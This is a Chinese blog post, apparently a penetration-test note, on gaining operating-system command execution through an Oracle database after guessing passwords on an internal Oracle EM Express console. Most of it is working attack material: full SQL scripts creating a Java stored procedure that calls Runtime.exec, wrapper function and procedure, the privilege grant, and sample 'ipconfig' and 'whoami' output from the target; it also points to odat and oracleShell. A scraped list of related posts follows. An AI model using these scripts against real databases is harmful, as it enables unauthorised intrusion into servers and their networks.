oracle odat,通过Oracle执行系统命令
成功连接上Oracle后,如何通过Oracle get到os-shell,网上搜集资料解决后进行简单记录。
经历如下:内网中发现oralce em express服务,一个oracle的web管理端,碰撞密码进入后,没有找到什么getshell的点,甚至数据查询等也没有发现,无意中发现了dispather设置项,通过添加dispather监听0.0.0.0后成功连接上数据库(默认的1521是监听在127.0.0.1上的)。
oracle提权执行命令工具oracleShell v0.1
为了快速getshell,通常先去找找有没有现成的实现,找到了rebeyond师傅写的一个小工具。
环境中的oracle版本为12c,这款工具是前两年开发,集成的jdbc版本低,不支持12c新的连接协议,连接会报ORA-28547错误,11g以下的版本应该是可以使用的。
使用sql*plus
Oracle的sql*plus是与oracle进行命令行交互的客户端工具,安装oracle一般会自带。
连接命令分两种(dba用户登录时带上as sysdba):sqlplus [email protected]:port/sid [as sysdba]
sqlplus /nolog
SQL> conn [email protected]:port/sid [as sysdba]
sqlplus自带了一个比较坑的命令host
SQL> host hostname
你会发现显示的是你本机的机器名,原来是在本机上执行命令,而不是在连接的远程机器上,好吧。。。
网上找来的方法:
首先在本地新建3个sql文件,用于sqlplus连接后进行执行
新建1.sql1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
新建2.sql1
2
3
4
5create or replace
function run_cmd(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
新建3.sql1
2
3
4
5
6create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := run_cmd(p_cmd);
end;
登陆上去后依次执行1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39SQL> @1.sql
35 /
Java 已创建。
SQL> @2.sql
6 /
函数已创建。
SQL> @3.sql
7 /
过程已创建。
SQL>
SQL> variable x number;
SQL> set serveroutput on;
SQL> exec dbms_java.set_output(100000);
SQL> grant javasyspriv to system; [这里的system换成你的登录名,dba账户不需要执行这一步]
PL/SQL 过程已成功完成。
SQL> exec :x:=run_cmd('ipconfig');
Windows IP Configuration
Ethernet adapter 本地连接:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.91.130
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.91.1
PL/SQL 过程已成功完成。
SQL> exec :x:=run_cmd('whoami'); 可以继续执行其他命令
win2003 + Oracle 11g,win2008 + Oracle 11g,win2008 + Oracle 12c 测试成功
我虽然使用sys登录,可惜的是拿到的系统权限还是很低。
后续还要对oracle以及oracle的安全问题原理进行研究。
2019-5-1更新:
发现了一个更加方便好用的工具:odat,github可以搜索到。
参考文章
oracle odat,通过Oracle执行系统命令相关推荐
- 使用sys导出oracle,oracle 让sys用户执行exp导出操作
oracle 让sys用户执行exp导出操作 [oracle@localhost ~]$ exp sys/abcdefg as sysdba full=y file=/tmp/full100.dmp ...
- oracle数据提交不上去,oracle数据库命令窗口执行了语句但是没有提交会有什么影响吗...
Oracle数据库里面有DCL语句(Data Control Language),一共有四个关键字,commit.rollback.grant和revoke.它们执行的时候,你都不会有什么感觉.com ...
- Oracle Sql语句定时执行
Oracle Sql语句定时执行 本文链接:https://blog.csdn.net/qq_16979575/article/details/70169519 通过网上查询,找到一种方案,就是先在o ...
- oracle job有定时执行的功能,可以在指定的时间点或每天的某个时间点自行执行任务。...
oracle job有定时执行的功能,可以在指定的时间点或每天的某个时间点自行执行任务. 一.查询系统中的job,可以查询视图 --相关视图 select * from dba_jobs; selec ...
- c#执行多句oracle,C#一次执行多条SQL语句,Oracle11g数据库
由于经常执行SQL语句,如果一条一条执行效率低下. oarclecmd.CommandText = sqlstr; oraclecmd.ExecuteNonQuery(); sqlstr 可以写成如下 ...
- Oracle数据库是如何执行SQL的
文章目录 1.参考资料 2.Oracle SQL执行过程 2.1.SQL语句的执行过程 2.1.1.全局角度来看SQL请求的执行过程 2.1.2.数据库端处理SQL具体过程 2.2.Oracle对解析 ...
- war包启动命令_【漏洞预警】Oracle WebLogic远程命令执行0day漏洞(CVE20192725补丁绕过)...
概述 近日,奇安信天眼与安服团队通过数据监控发现,野外出现Oracle WebLogic远程命令执行漏洞最新利用代码,此攻击利用绕过了厂商今年4月底所发布的最新安全补丁(CVE-2019-2725). ...
- oracle强制停止执行,Oracle强制终止在执行的sql
Oracle强制终止在执行的sql 在一下场景中,sql在javaweb程序中(非pq/sql或者sqlplus)执行时有些sql查询数据量较大导致了一下sql执行起来特别占用资源,致使jvm无法回收 ...
- oracle里面cat,Oracle 12c 中推荐使用 catcon.pl 执行SQL脚本
https://www.cndba.cn/dave/article/225https://www.cndba.cn/dave/article/225 1 说明 在Oracle 12c中,Orac ...
最新文章
- python语言编程环境-python3编程环境搭建
- python安装pandas模块-python安装numpy和pandas的方法步骤
- MAC安装mysql8.0.11以及修改root密码
- 15.centos7基础学习与积累-001
- ios地图小例子和手势的使用 供大家参考一下呦
- mysql to char 用法_postgresql 中的to_char()常用操作
- 将微服务部署到 Azure Kubernetes 服务 (AKS) 实践
- python安装BeautifulSoup注意事项
- android手机 无线充电,无线充电手机有哪些?支持无线充电的手机推荐
- 对convertView和ViewHolder的理解
- Windows 2003声卡驱动的安装.
- 微软流媒体服务器直播,流媒体服务器Flussonic Media Server对直播流进行录制
- Word样式的导入与导出
- Nodejs Promise 读书笔记
- sql server中的怎么把数值型转换为字符串
- 机器学习:数据预处理之独热编码(One-Hot)详解
- Pytorch入门:60分钟快速入门,第一节:张量(tensor)
- 地理信息系统复习摘要
- gbase导入sql文件_Gbase配置
- 我个小菜鸡的博客都有人搬运,我都惊呆了——wsdchong